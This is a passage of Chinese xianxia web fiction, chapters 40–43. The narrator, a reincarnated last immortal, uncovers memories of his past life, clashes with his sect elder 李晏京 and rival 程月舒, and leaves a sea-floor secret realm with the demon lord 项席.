在他决定逃走前,我拿走他手中的馒头,点点他的额头,“不客气。”
他再仰起头时,我已经消失在原地。
“我在,干嘛?”
小乞儿感觉胸膛热乎乎的,傻傻地低头偷偷看去,白胖的馒头躺在他的怀中,从外看,竟是一点也瞧不出藏了东西。
“……馒头?”
40. 你成了我的道
李晏京给的舆图作用不小,有疑虑的地方能标记下来,不用绕远路。
或许这也是为什么我那群老友总喜欢在凡间留下他们自己记录的一些小东西,以供修士寻作机缘。
而我此次总算找到一丝登仙路的线索。
也碰见一个已经成长到占据一方的天道傀儡,一个以为自己是天选之子的魔修。
但他太弱了,以至于我提不起兴趣。
他的价值于我而言,甚至还不如一本古籍。
周遭尽是魔修横尸,最后一个站着的倒下,剑飞回我的身边。
“大荒无垠,天地伊始,其分妖、魔、人,共筑红尘世,世生登仙路以通天际。凡修者登峰造极,渡劫后乃成仙者境,众仙共守天外天。”
“仙家之所,楼阁相错,仙铃交响,白玉如泉澈,廊腰如盘龙,名为白玉仙都。”
我单脚踩在他的背上,眼前是浮空的书籍,剑静静悬于身侧,剑尖向下,流淌着血,一滴一滴落在地毯上。
“这书不错,”我淡笑道,“只是仙都里没有仙铃交响,只有小疯子喜欢到处寻人弹琵琶,还要听夸赞之语……”
脚下的人动了动脑袋,未等他出声应和,我便一剑贯穿他凝气传讯的右手。
“天道赐下什么神谕给你了?说你是天选之子?食我可得泼天气运?”
我垂眸,忽视他的惨叫。
那魔修缓过那阵疼痛,如老狗般嗬嗬地笑,喉中鲜血咕噜响,他喘着粗气,不答反问,“……仙人就是你这般模样?”
我轻挑指尖,那剑拔起,又刺穿他另一只手,痛嚎声代替了他即将脱口的污言秽语。
再翻过一页书籍,我粗略扫视那些文字,淡淡道:“不然你是?”
“魔修的确有能飞升的,但你这种滥杀惰欲的货色,凭什么觉得自己能入白玉仙都?”
那魔修愤然挣扎,反驳道:“只要夺去你的仙元,找到那……呃啊!”
书页唰啦啦地翻动,那些文字快速略过我的眼前,忽然,我的目光一顿。
剑再次飞起,我以威压将他牢牢钉在原地,眼前的书定格在末页,“……终于。”
上书,天地万物的法则从来都不是圆满的,世间千年才出一双破妄眼。
拥有这眼睛的人,命运注定曲折离奇。因其能堪破迷障,故拥有破妄眼的人一旦暴露,必被贪婪的众生争抢,直到其双目俱失,身体灵气被瓜分,转往下一个千年轮回。
我往下看去,神色渐冷。
被我踩着的魔修像是知道我心中所想,他狂笑着,我都能感觉到他胸膛的震动。
“仙人发现了什么?看到哪儿了?破妄眼?是不是越看越熟悉?”他恶意满满。
魔修自然早已将这天赐古籍研读百遍,上面写了哪些东西,他可一清二楚。
“说起来,我知道皓月宗出了个风头过劲的天才,他便有一双黑沉的眼睛,人也极其禁欲,和这古籍……”
我直接斩过他的脖颈,万千红色魂丝相连,又从他的心脉伸向镇子上的每一个凡人。
魂魄这东西一旦炼成魂丝,那便是超脱寻常范畴了,修士一般难以斩断,是个死生同往的麻烦物。
可不巧,他碰见的是我。
非凡人,非修士,当今最后一位仙人。
我以剑锋挑起那厚厚一束魂丝,手腕轻转,那恶咒都没来得及蔓延到每个凡人的身上,就断在中途。
魂丝的恶念妄图反扑,它们散发的气息恶臭难闻,可刚舞到我身周两尺处,便齐齐被护体仙力震散。
剩余的魂丝自发燃起,包裹住魔修的两部分身体,我静立在原地,看着魂丝的火光闪动,半晌,叹了口气。
说起来,半月已过,李晏京的剑想必已经取完,我也许久没见他了。
是天道利用?还是命运指引?
踏出一步,转瞬间我便出现在皓月宗。
李晏京正在他自己的院中,身边站着个白衣女子,模样清秀可人,双方正看着一柄剑,我负手而立,看李晏京轻轻抚过那剑的剑身。
那剑暗藏锋芒,外表无甚华丽惊奇之处,却已经生出剑灵,孕育其中,只待李晏京有所突破,一人一剑相辅相成。
我已经能预料到他元婴、化神后,在同龄人中,会是何等风姿了。
未来的正道第一人啊……
可是他的眼睛,我必须得要。
等人走后,我从虚空中落下,李晏京见到我,下意识靠近,很快想起什么,停在我三步开外。
“过来。”我招手。
李晏京眼眸微动,听话地走近,双手呈上他的剑。我们之间相处,除非必要,他很少主动说话,如今却像讨夸一般。
他只字未问我为何没来剑阁,目光中也无半分埋怨。
“仙人,您看,我拿到了我的剑,长老们都说,这柄剑是剑阁中最静的,是极好的。”
我没看剑,而是看他的眼睛,又黑又沉,纯粹无比。
“不错,”我看见他眼里只装了一个我,淡笑道,“可曾取名?”
李晏京和我对视,缓慢地眨了眨眼睛。
我想起白玉仙都上,不吃教训的仙兽们总喜欢凑过来窝在我身边,受斥责装傻时和李晏京这样相似。
他道:“回仙人,名曰克己。”
胆子确实大,我以为他会收敛、会放弃。
我神色不辨喜怒,“哦?”
李晏京抿唇,看着我的时候固执又倔强。
“皓月宗剑阁连接着问心境,取剑的同时,也是照心,未觅道者寻道,得道者固道。”
“我在里面过了数百年。”
“几百年?”我问道。
“记不清了。但是仙人,当问心境百年后的凡尘俗世里没有你,我就醒了过来。”
我不再说话,听他继续说。
“郁负雪,你成了我的道。”
我极轻地哂笑,“当真不怕死?你知道自己在说什么吗,李晏京。”
他十分专注地望着我,再次开口时,唇瓣吐字缓慢,声音渐小,直到他和我的身形均凝固在原地。
周遭所有的一切停滞褪色,我看着锋芒收敛的克己剑,又看向青年李晏京,头一回仔细描摹起他的模样。
我没听清他的回答。
叮——
腰间铃铛再次响动。
睁开眼,我便撞进熟悉的眼睛里。
我正枕在李晏京的腿上,他的神色淡淡,眼瞳清澈,和梦里的不同,已不是破妄眼。
等他抚上我的侧脸时,我才猛地回神,眉眼带着厉色,我用力推开他,“千面还我。”
身体失去李晏京灵力供给,残留的寒意再次涌上四肢,驱散温暖。
李晏京并未恼怒,他收手时,手指相互搓了搓,又克制住动作,施施然放下手看我。
这是拒绝的意思。
我用余光打量所处地界,发现已经不在那处石窟,正处于幽冷空旷的大殿内,秘境还有这种地方?
我眸光微转,打晕我的是李晏京,有他这身份在,另外两人不会造次,出来是轻而易举的事,程月舒去了哪?项野呢?
我眉眼微沉,还没逼问项野那匣子里装的是何物,我并非大度之人,那匣子里原本装着的东西一定得是我的。
“这是哪儿?”
“秘境仙殿,”李晏京起身,“
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不日秘境大门会再次开启,你随我回玄清宗。”
我悚然一惊,都没来得及问先前竹屋的事,我的泣株种子还没寻到,没有它的帮助,我怎么杀程月舒?
“我睡了多久?”
李晏京淡然地看着我,“也就几日。”
我抓着剑,有心想杀他,但脑子不由我做主,刚醒来尚有些混沌,总觉得他和梦中青年李晏京并无两样。
我扶着额头,“千面还我,李晏京。”
“和我回去,你不需要这些东西。”
我猛地甩手,走近揪住他的衣领,低哑着声音怒斥,“李晏京!你别忘了!是你和程月舒害死陈青芜的!”
我明白,这话毫无道理,究其原因,陈青芜自愿赴死,程月舒顺势阻拦,李晏京的罪名是迟疑。
他看样子完全不记得有那么个仙人,完全是本能地看过去,所以,那个身为仙人的我,从前是那么叫他的吗?
晏京,如此亲切。
我冷脸轻触他的眼角。
那个仙人的我,是否成功取了李晏京的眼睛?那么破妄眼如今是否还存在?
“李晏京,好师祖,”我嗤笑,从他怀中掏出被封起来的千面,“找到召回陈青芜魂魄的方法,我就和你回去。”
秘境中,李晏京的修为被压制,而我不知是因为看了部分记忆,还是秘境本就属于我,这封印轻而易举地被我碾碎一角。
李晏京眉头微皱,抓住我的手腕,千面变化不断,冲他不停露出凶相,“郁负雪……”
不给他争辩的机会,我抬眸道:“在竹屋幻境时,你看见了什么?记忆找回多少?”
想起在无名峰殿内的参禅,我才明白,为什么孟竹臣打听的带队人会从季无涯变成李晏京,这人对参禅做了什么?
那老和尚看样子不像那么好撬开嘴的。
孰料,李晏京明显怔愣,喉结上下滚动,我趁他走神,松开抓着千面的手。
同时,李晏京开口道:“看见……你愿意和我结连理,赴黄泉,生生世世永不离。”
千面落在我另一只手上,我飞速将其扣于面部,鬼相转换万千,最终定格于红面怒颜。
鬼气瞬间爆开,带着寒意刺向李晏京,我毫不留情地动手,千面遗落的空隙,我则以剑式填补。
李晏京本已拔出大半克己剑,但他又将其推了回去,只以灵力相抗。
“你心不净,师祖。”
我倒打一耙,先怪罪他,见他皱起眉头,接着说:“我以为我们是各取所需,你却想同我生情,还在幻境里,说不定怎么我了……”
“那不是幻境,郁负雪。”
李晏京知道?看来真是来找记忆的。
“哦?那又如何,我不想听。”
我挽了个剑花,淡淡道,千面笑嘻嘻地对着他,我也歪着头。
脚步声传来。
程月舒从殿外走进,没有率先禀报,没有行礼,他的行为自然。我见李晏京张口欲言,却在看见程月舒时又闭上嘴,咽下话语。
我瞬间攥紧手中剑,不,不一定是参禅。
我怎么能忘了程月舒?
程月舒也有可能引导李晏京前来海底秘境,用记忆勾着他,继续恶心我。
程月舒定是通过天道知晓了我的前尘,那日才故意出声,扰乱李晏京。
“师兄,聊什么呢?”程月舒笑开,站定在我和李晏京中间,“秘境快开了,我们一起回宗门?”
他垂在身侧的手微动,一根极其细微的红丝从他小指延伸,我顺着看去,另一端没入李晏京的袖口。
旁人不清楚那是什么,可我却知道。
那是魂丝。
41. 离开海底秘境
“呵……”
我恨着程月舒,对他难掩杀意,此刻见到那眼熟的线,我气极反笑,千面有感而动,瞬间呈现狰狞怒颜。
可我没有动手。
尽管千面带动起来的情绪已经搅得我胃里天翻地覆,我却仍靠着理智,强行按耐住杀意。
程月舒此番前来海底秘境,季无涯定又给他不少保命法宝,就算身处秘境,众人的修为被压制,在秘境即开的情况下,他仍有可能顺利脱身。
他的命何其卑贱,被天道染指,同魔修勾结,欲不尽、贪难止,若是窥其命线,恐怕全是污浊之气。
我稍微思忖,看向眼前的两人。
“回宗门?好啊。”我正面迎上程月舒那带着警惕的目光,轻轻笑道,“程月舒,你这是什么表情?不满意吗?”
程月舒眼睛微眯,很快舒展眉梢,他笑道:“师兄,我怎么会不满意呢?冤枉我了,你愿意回宗门,是我和一众师弟师妹们都乐意看见的事,我们都会很高兴的。”
“师尊他老人家也十分想念你,还有那殿前的小鹤童,没有你去看望,他吃东西都不香了,我一问,他们都想你了。”
我知云秀峰上那贪嘴仙鹤的脾性,断不会在意我的生死,他远不如清月。
恐怕谁给他吃的,他都会立刻对那人谄媚,除了从前有求于他的我。
程月舒睁眼说瞎话的本事倒是日益增长。
李晏京这时开口吩咐道:“程月舒,你先去外面清点人数。等秘境一开,你就带他们先出去,不必等我。”
程月舒表情僵硬,沉默半晌才行礼应下。
他的行为我在旁看得真切,程月舒没有拿下李晏京,此刻碍于地位,他不得不听从。
那李晏京呢?
他知道程月舒的古怪吗?
如果之前王德福和我说的传言皆为事实,那么过去和我有关系的李晏京,会不知道登仙路一旦修复就有什么后果吗?
最后一位仙人又是如何殒命?
等程月舒踏出殿门,我回过神,暂时将这些抛掷脑后,忽略仍在原地的李晏京。
有关泣株的描写在我眼前一一浮现,命运终于偏袒我一回,让我醒来便身处仙殿。
趁着秘境还未再次打开,我将自己代入过去那位仙人,在殿中四处寻找任何可能有暗室、暗格的地方。
“郁负雪。”
就在我走神之际,李晏京走到我的身后。
他伸出手,越过我的肩头松开五指,一个铃铛挂坠套在他指间,垂落下来,在我耳边发出清脆的响声。
我的——!
见到那熟悉的东西,我瞳孔骤缩,猛地回头,看向身后的李晏京,企图寻找他恢复些许记忆的蛛丝马迹。
他背着光,也在观察我,可惜有千面相隔,他只能面对千面鬼相。
“师祖,”我声音平静,“这是何意?”
他微微皱眉,似是不解。
“我以为你会喜欢。”
我转过身,后退几步拉开距离,这给李晏京一种我排斥他的感觉。
他手指轻颤,淡声道:“从那魔修身上掉出来的,应是石窟中的秘宝。”
一听便知,项野定遭李晏京毒手,不过有项席兜底,想来也不会出什么事。
思及此,我慢悠悠倒退,举止自若,“秘宝,给我?”
李晏京收回手,勾在他手指的铃铛便被握在手心。我暗自打量四周,将仙殿布局尽收眼底。
“您贵为当今正道第一人,距离登仙只差一步,等路通畅,飞升目标即日可达。给了我,您不怕没了成仙机会?”
李晏京身形微晃,转眼出现在我的面前。
“我从来没想过飞升,郁负雪,陈青芜之事是我对不住,我会弥补。黄泉河我锢在峰上未动,等回去,我就为你修复灵脉。”
我眼神微暗,看来他不知道登仙路修复的后果,那为什么按部就班遵循天意?
“我可以寻找替代品,并非只有黄泉河可以医我,你也不是那么重要。”
李晏京薄唇抿紧,低头将铃铛挂在我的腰间,替代原本盘龙玉佩的位置,直起身时,他望着我的腰侧,无端有些出神。
我也跟着看去,和做仙人时一模一样。
“可黄泉河是最好的。郁负雪,魔修找你为血,你可曾想过正道找你为何?”
“因为我叛出宗门,与妖魔同行?”
李晏京双眉微皱,“可知秘境即开,玄清宗为何来迟?”
不等我回答,他道:“天降箴言,‘世间污秽,登仙路窄,天赐机缘,白发玄衣者根骨铸剑,可破顽障,直达天境。’”
我出神地听完,竟没有意外的感觉,只是希望孟竹臣和那对姐妹都不要妄动,尽早和我撇清干系为妙。
初时一无所知,得妖尊赠镯;后来与孟竹臣同往逢仙岛,因消息滞后,更是毫无准备。
我抬眼看他,千面鬼气窜出,绕于他的脖颈,“师祖,你也想要我的根骨?和程月舒一同劝我回去,是要把我送给程月舒铸剑吗?”
李晏京表情没有痛苦,克己剑震颤,却并未出窍,他单手轻抬我的下巴,倾身,手指轻而易举地将千面掀起一点。
他没有摘下千面,而是稍微侧头,在我唇上落下极轻的一吻,我们呼吸交错。
鬼气钳制,他只能发出气音,“郁负雪,我要你站在万人之上,不惧神魔,不畏道。”
他偏头,换了一侧,又是一吻。
“怎么样你才能原谅我?”
我推开他,气息连同心绪都有些不稳。
现在的李晏京和我分明是各取所需的关系,他恋我的身体,我图他的价值。
难道仅凭一个幻境、一段莫测的记忆,便能让他改变心思?
“离程月舒远点。”
鬼气被我缓缓收回,李晏京的脖颈留下一圈红痕,这让我满意,远远看去,像红色的枷锁,远比程月舒那丁点儿细的魂丝有存在感。
“好。”李晏京没狡辩,没问缘由。
“凝聚陈青芜魂魄,送他轮回。”
陈青芜当时说得轻松,什么带着罪孽前往轮回,全是谎言。他的魂魄连同其剑一直镇压着诡渡傅那等邪物,从未解脱。
“好。”李晏京应下。
“停止登仙路的修补。”
李晏京眉梢轻动,手指搭在太阳穴,只一瞬便放下。他好似忽然头痛,因我在场,不便表明。
“不行,我必须修复登仙路。”
未等我细想他这一动作的原因,闻言,我狠狠皱眉,不解他执着的原因,“为何?”
不管是过去还是现在,李晏京可都不是什么心怀天下之人,坐到正道魁首这个位置,也仅仅因为他的修为与能力出众。
“因为我在等……”可李晏京的声音倏地停止,因他自己的言语颇感茫然,低声喃喃道,“我在等……谁?”
这个问题他好像已经许久都未曾思考过。
修复登仙路后,他能得到什么来着?
我因李晏京的异样而沉默,伸手摁下身边暗格,那雕刻在柱上的仙鹿下颌微张,吐出口中之物,我将其飞速收好,以备不测。
看来他并不是
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为天下众生,登仙路修复后能见到谁?他想见到谁?
又是为何,忘得一干二净呢。
陡然,整片秘境开始震动,仙殿外灌入大量流动气息。
仙殿内所有浮雕都变得鲜活。
白雾飘散,它们从墙柱中走出。
殿中雪白仙气勾勒成的仙鹿与灵鹤轻跃至我的身侧,绕着我不断浮动,神色带着幽幽哀愁。
我下意识想去抚摸它们,可当手指径直穿过它们的身体,我僵硬在原地,缓缓收手,看着自己指尖,沉默不语。
半晌,我嗤笑,放下手。
仙鹿与灵鹤张口,哑然无声。
李晏京愣怔地看着我。
唯我对此景毫无震撼之意,我深吸一口气抬头,望着空无一物的偌大仙殿,内心只剩无限怅惘。
“秘境开了,走吧。”
从海底秘境出来,粗略环视一圈,正道人数骤减,他们脸色难看,想来是不料海底秘境竟连高阶修士的修为也一同压制。
此番机遇不小,却也折损大半弟子,众人见李晏京出来,均松了口气。
他们难掩疲惫,神情严肃,对我能站在李晏京身边,投以疑惑的目光。
“仙尊出来了。”
“那就好,那就好。”
“他身边的不是之前那个独行散修?”
玄清宗众人的飞舟停滞在旁,李晏京在我身后,脚下秘境漩涡仍在,在场众人都没有迅速离开此地,只因眼前这一众魔修。
他们包围了海底秘境的出入口。
魔修飞舟招摇,就繁复华奢程度而言,很容易就能锁定主舟是哪一艘。
接着,出口处又窜上五道流光,众人看去,是最后出来的项野及其手下。
正道门派见魔修只剩伶仃几人,有人露出鄙夷不屑的神色。
项野虽有些狼狈,但整体看去并无大碍。
他神色倨傲地掸掸两只胳膊,看向周围的人,触及我的目光时明显一顿,给面子地点点头,紧接着身形一动,连着手下,一同出现在那主舟旁。
上方围着的一众魔修齐齐喊道:
“恭迎少公子。”
项野背着手长腿一挎,踩上主舟的沿边。
他抬手轻摆,跟随的四人没再上前,纷纷行礼告退,回不同飞舟疗伤。
同时,主舟门打开,从中闪出一人站到舟头,居高临下睥睨众人。
我没见过项席,可他一出来,给人的感觉便不一样,在秘境中的记忆鲜少有他的身影,但他多数情况下都是笑着的,十分开朗。
现在的他浑身泛着死气,皮肤灰白,在外的脸上有明显的缝合痕迹,那双身处项野身上时热烈明媚的红眸,此刻却黯淡无光。
次等诡渡傅的水平便是如此。
项野走到项席的身后,垂首不语,一副认错的架势。
项席看也没看他,眼珠稍转,嘴角僵硬地扯动,一字一顿,“李、晏、京。”
他的目光落在我身后的男人身上。
李晏京从我身后飞出,挡在我的身前,此刻不在秘境中,“项席,过得不错。”
项席单脚踩在栏杆边,倾身将胳膊支在腿上,笑道:“托你的福,一切安好,此番我是来接人的,劳烦仙尊……让开?”
这一声声仙尊叫得疏离客气。
李晏京淡声道:“你往身后看看?”
项席伸出一根手指左右摇摆,跟着轻摇头,他没有动怒,停下后指着李晏京。
“啧啧,错了,我要你身后那人。”
所有人的目光聚在我的身上。
42. 你是无可替代
小弟子们率先吵起来。
“魔尊项席?这人不是魔君?”
“不是说他死了吗?”
“你怎么学的修真年史?人那是被封印了!封印又不代表死了!”
窃窃私语声不断。
“要的是那人吧?我看最好赶紧把他交出去,本来就觉得这白发散修邪气得很,肯定不是正道之人。”
“想来是仙尊心善,才带他出来,可你看这人,哪有半分感激的意思,活像不管他的事……”
“就是,害得我们被堵在这儿。”
各门派带队的人都沉默看向李晏京,应当是在传音。
他们的神态我颇为熟悉,那日在玄清宗刑台,各位长老放弃我时,也是这般模样。
玄清宗的飞舟稍降,我偏头看去,却并未瞥见程月舒的身影。
李晏京没有回话,身形又升几分,腰间克己剑出鞘而动,剑身争鸣,直指项席。
项席微微侧身,躲过克己剑,在剑尖调转时,手腕翻转,一张带着暗红裂纹的长弓出现在他手中。
项席轻抖手腕,长弓旋转,震飞克己剑。
在他身后的项野后退几步,拔出腰间佩剑,看准时机,在克己剑再次攻向项席时,项野动了。
他不顾自身安危,直接闪身出现在项席和克己剑中间,魔气爆发,悍然与克己剑相抗。
所有驻守在飞舟上的魔修没动,没有项席的命令,哪怕项野当场横尸在此,他们眉头也不会皱一下。
项野低吼,牙关颤颤。
“看来这就是仙尊的态度。”
项席唇角带笑,手持长弓,一双无生机的眼眸转向我,当着我的面,他再次抬起胳膊,瞬间肌肉绷紧,衣服勾勒有力线条。
长弓拉满,魔气刹那间凝聚,幻化成三支红到发黑的箭对准李晏京。
项席的眼眸始终望着我,反复描摹千面的轮廓,他没有传音,我不知道他在想什么,但我猜,他或许是想看看我的脸。
身后众人对视,在可能被波及的生死之际达成共识,有余力者纷纷祭出灵力,共同构建防御大阵。
斗转星移间阵成,我回过头后撤,差点被灵力波动扫荡入海。
项席缩地成寸,出现在李晏京身后,三支箭瞬发而出,裹挟着恐怖精纯的魔气袭向李晏京。
他没有等箭到达,而是再次伸直手臂,将弓拉成满月,向右侧空放三箭,下一瞬,李晏京的身影出现在那儿。
李晏京并指而立,强大气劲吹得他长发翻飞、袖袍鼓动,灵力扼住魔箭,齐齐悬停在他眼前,不能寸进。
他手腕稍拧,那魔气凝成的箭便纷纷崩散。
李晏京伸手一招,克己剑灵光大盛,力压项野,随后被吸入他手中握紧。
项野轰然倒飞,砸在飞舟桅杆之上,咔擦几声,桅杆断裂,项野栽倒在地,呕出大量鲜血。
项席将手扣在唇边,急促一声短哨后,便松开长弓,迎面以掌对上李晏京。
长弓悬浮后方,其弓弦自发而动,回回都拉到最满,箭矢瞄准李晏京,魔气涌动瞬间窜出,留下划过空中的暗红残影。
严正以待的魔修们听见哨声,两人登上主舟,扶起项野。
其余人分别而立,每五人浮于各自舟头,他们动作一致,展臂收圈,魔气相互勾连,阵法从五人中央扩大,一一具现于飞舟前。
他们对准的是海面上抱团的正道修士们。
“不好!快!快!有丹药的快吃!别留后手了!”
“这群该死的魔修!”
“白发的那位!你就如此冷漠?看我等因你葬身魔修手下吗!”
我轻抚腰侧仙铃,无视他们的怒吼,目光时不时扫向玄清宗弟子所在飞舟。
按理来说,事到如今,程月舒不应还缩在飞舟之内毫无反应,难不成他怕和魔修勾结的事暴露?
魔修们已然蓄力完毕,只等项席再次下令。
变故突生,原本晴朗无云的天骤然阴沉,无形威压降至,正道修士们宛若惊弓之鸟,他们低头看向海面,可秘境并未再次开启。
很快,黑云聚集,熟悉的气息传来,所有人恍然大惊。
李晏京和项席二人分开,均看向黑云之下——玄清宗飞舟静立。
舟门迅速打开,哐当作响,其中所有幸存的玄清宗弟子全都化作流光,连滚带爬地飞离飞舟范围,冲李晏京惊呼。
“仙尊!不、不好了!”
“程师兄他修为压不住了!”
我望着他们惊慌失措的模样,低头闷声嗤笑起来。
可我实在难压对程月舒的不屑,于是仰头大笑出声,看向蕴含天道法则之力的黑云。
“劫雷……”
程月舒知道天降箴言之事,而在此之前,修真界忽而白头,身有异样的人只有我。
我金丹的去处并不是什么隐秘的事,正道中地位较高的,稍一打听便知内情。
而得我金丹,修为大涨的程月舒,如今又在众目睽睽之下渡劫,劫雷浩荡,威压不小,若顺利……
不,天道在上,他一定顺利。
箴言所指之人为谁,则显而易见。他怎么可能放过令我举世皆敌的机会,让我顺利回到宗门,让李晏京得以为我修补灵脉。
“他疯了吧?”不明所以的人侧目。
“这时候他笑什么?眼红了?”
“这是元婴雷劫吧?”
面具定格成扭曲至极的大笑,我眨眼挤去笑出的泪,浑身杂乱的气息翻涌,上古幽冥火充斥灵脉,千面鬼气麻痹痛感。
不能跟李晏京回去了,还是得用泣株。
我轻跃出去,脚下飞剑更换,暗月剑吸纳入手,项席的视线随我而动,身形一晃,出现在我身侧。
“仙人,别来无恙。”
他用仅我二人能听见的声音叫我,死气沉沉的眼眸此刻竟透出几分灵动。
项席伸出手,将我抱入怀中,没有用力,但还是舒心地叹出口气。
魔气迅速包裹我们,李晏京带着恐怖灵力的长鞭跟随而至,破空声炸裂响起,他落了个空,我和项席出现在主舟舟头。
他松开我,倾身趴在栏杆上,长弓在他旁侧拉开,我能听见弓弦绷到极致的声音。
“仙尊,您弱了不少啊。”
项席交叠双臂,手自然垂下,姿态闲适,戏谑地看着李晏京,当着众人的面点出他道心有缺,修为不足渡劫期的事实。
“休要胡说!项席!你也不看你如今还有何人样!就在这儿胡乱攀咬仙尊!”
“饶你是魔尊又如何!你敢说你是巅峰时期吗!现在怕是连魔君都打不过吧!”
李晏京不在乎这些,我知道,他从来不把任何人放在眼里。项席的话没能让他露出半分难堪的神色。
他身处下风,在仰头看我,眉头紧蹙,有些出神,李晏京在等我开口。
然而我并没有说任何话。
我顺着他的胳膊看去,他握着克己剑的手指发白,用力不小,可他始终没有冲过来。
是因为我毫不反抗的样子被他看在眼里,还是他怕项席将我格杀在他眼前?
看见我被魔气裹挟时,他会想什么?
他会生气吗?
其实都无所谓,今夕非旧人,岂能尽人意。他记忆有损,我记忆未全,天道在侧,仇人在舟,是情是爱都是小事。
不过几个吻罢了,李晏京不会当真以为,我有倾心他的可能吧?
远处,玄清宗的小弟子们催促着,“仙尊!雷劫!您别管他们了!”
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“程师兄这次什么也没准备,为了保护我们还受了重伤,这可是元婴雷劫!万一他有什么不测,我愧对长垣长老!”
“我也是!仙尊!求您为程师兄护法!”
我眼眸微动。
那缕极细的魂丝又出现了,远远地连向飞舟内侧,另一端是程月舒。
“当真碍眼。”我喃喃开口。
李晏京神色微变。
项席趴在栏杆上,听见我出声便扭头看我,眼睛微微睁大,暗含喜色。
我五指扣于面具,长久和我气息相融的千面一次比一次难摘。
我闭上眼,手指用力,千面边缘的浓郁黑气黏连不放,又因为我的不容拒绝逐一断开。
尽管它离去时,疼痛席卷而来;尽管它离去时,魔蛊有苏醒征兆;尽管……
我摘下千面,幽冥火暴起,周身无风自动,腰间仙铃轻晃,仙力溢出几丝沁入丹田,幽冥火感知这缕仙人力量,顷刻间臣服。
项席转身,双肘撑在栏杆上,见我看他,他晃晃脑袋咧嘴而笑,配合着脸上缝合的针脚痕迹,看起来颇为瘆人。
“项席。”
我微抬下巴,示意他看向劫云。
项席眉梢轻挑,抬起右手背着指向劫云,接着手指环扣在唇边,细长的哨声传出。
魔修闻声而动,所有飞舟前阵法调转方向,数道魔气汇聚的光柱交叠冲向天上劫云。
连项席身边的魔弓也抬起,箭矢瞬发,相互扭转间凝成一支长箭,飞射而出。
劫云中天雷被打散,很快重新聚集,可魔修众多,项席没让他们停,他们便默认继续攻击。又五人上前更换,阵法再次成型,光柱窜出。
此片领域震动不休,不日定会传出千奇百怪的言论,但毫无疑问,于我百害而无一利。
我眯起眼,将千面收回储物戒,看向逢仙岛被震落的满山桃花雨,留下一句。
“李晏京,就此别过。”
魔修撤离,劫云被硬生生打散,身后是正道修士们的骂声,和弟子们一片惊呼。
远离逢仙岛范围,主舟行进速度加快。
进屋后,我停下脚步,扭头斜睨项席。
“魔尊,解释一下?”
项席抬手挠头,眼眸无神,却仍能感觉到他的兴奋,他上前几步,想起什么,又很快停下道:“别这么叫我。”
项席竟有几分委屈的意思。
触及我的眼神,他左右歪头打量了会儿我,拍手叹道:“就是这感觉!诶,郁负雪,你还真别说,就算天道再怎么捏你的仿品,也敌不过你本人这种感觉。”
我有些无言以对,在梦中我与项席相处甚少,我没想到,堂堂魔尊是这么个性格。
“说正事。”我提醒道。
项席有些神经质地点头,他还是没看够,绕着我转了一圈又一圈。
“对、对!正事儿,你说。”
我伸出剑鞘,抵在他胸膛,“停。”
项席眉头微皱,眼瞳颤动几瞬,狠狠闭眼捏了捏鼻梁,“哎哟我……神魂有些不稳,又干疯事儿了,仙人你别介意。”
我放下手道:“我不是仙人。”
项席对自己下手很重,连捶几下脑袋,跟砸瓜似的,才稳下状态,睁开眼。
“郁负雪,你就是仙人。”
我眼睫轻颤,淡淡抬眸,“最后一位仙人记载不明,魔尊说我是,我就是?”
项席见状,笑出声来,“仙人不必试探我,我都记得,远比燕子他们清醒。”
“你无可替代,最后一位仙人就是你,我和李晏京、付渚,我们仨均得你相救,一同长大……还要我说别的吗?”
“再说了,其他人可不敢像你那样支使我,我刚刚意会的可还行?”
43. 当年仙人之死
我沉思时,飞舟轻晃。
项席和我一同向外扫了一眼。
他嘴角噙笑,充满不屑地嗤道:“有东西生气了。”
硬生生打散程月舒的劫雷,怎么可能没有惩罚?
我见项席一派淡然,便知这点天罚他并不放在眼里,修道飞升本就逆天而行,魔修更是不被法则所喜,项席走到现在这个地位,也不知吃过多少苦头。
“为何这世间独你和参禅记得曾有仙人,仙人为谁?”我问道。
连逢仙岛都只是“据传”,他俩却如此笃定,见我便称仙人,一口道出我的名字。
付渚我至今都未见过,李晏京恐为天道影响,项席如何躲过这场天道剔除仙人的大清洗?
项席出神地抚过手背凹凸不平的针线痕迹,声音莫测。
“我?可能因为我被封印?”
他很快又说道。
“至于参禅?好久没听过这老和尚的名字了,他没死?是了,那邪佛掌握功法颇多,有几分逃命的本事也不稀奇。”
“当年李晏京愤怒至极,办事就不大周全,许是疏忽,叫他逃了。”
又是一阵轻晃,我干脆坐在木椅上,补充道:“参禅附身在悟尽大师——一位佛家高修的身上,去年冬岁屠寺,趁机出世。”
项席哂笑,“是他能干出来的事。”
“冬岁……伤得这么重啊。也是,毕竟当时李晏京本可以及时到登仙路下,可他被参禅欺骗,调去了别处,最后关头竟什么也没做成。”
“啧啧,我可从来没见过他发那么大的火,那老和尚直接被他用灵力擒住,攥了个粉碎,黏稠的血雨淋满树梢,残忍极了。”
谁?李晏京?
我抬眸看他,想象不出南玄仙尊生气的模样,发生何事能令他大动肝火,不顾形象地虐杀一人?
“为何?”我将胳膊搭在扶手上。
项席深深地看我一眼,目光变得直愣愣,好似透过我,又回到当年的场景。
他的声音很轻,在安静的室内,我听得很清楚,“因为他没能拦下你,当年你直接死在了他的怀中,逐渐散为灰烬。我们用尽办法,都无法止住你身躯的溃散之势。”
他笑容带苦,面部肌肉略微僵硬。
“仙人,那天你以身摧毁登仙路,天道发疯,降下天光,世间属于你的庙宇尽数倾塌,你也难以回转仙躯衰颓之势。”
“凡间典籍文字消散,你的恩泽被他人取代,你的存在被天道抹去。自凡人始,我们终。可我们没人想忘掉你。”
项席至今都不敢再次回想,这种感觉何其令人恐慌!
眼睁睁看着自己记忆中的人被擦去,却毫无办法,人能胜天吗?
说到这儿,项席情绪复而激动,神色尽显癫狂,他双眸睁大怒瞪我。
“郁负雪,我一直想说了,其他仙人也如你这般,处处透着自毁倾向?我只道仙人救世,世也可助仙人。”
“但你做了什么?一句也不告诉我们,既然利用,何不贯彻到底,既然救了,又何不救到底,我们……”
项席忽地哽住,他望着我的模样,没能再往下说,神情定住,莫名泄了气。
我淡淡抬眸,眉梢轻挑,手落在腰间仙铃,指腹抚过上面的纹路,没有太大的反应。
“嗯?”
可能那时的我是极痛的,毕竟仙人非石头雕成,除能耐颇多,和凡人一样会流血流泪。
只是我无记忆,无法共情。
恰如凡人听戏,趣者观书,唯故事而已。
此时我才觉合理,依我肩负仙都众人期望,观遍人间百态,不可能什么也没做——登仙路是我毁的。
那王德福早些时候说的,所谓李晏京“将功补过”之事,实为天道篡改的版本流传于世。
我轻笑,敷衍道:“是吗。”
不过项席说的自毁倾向倒不至于。
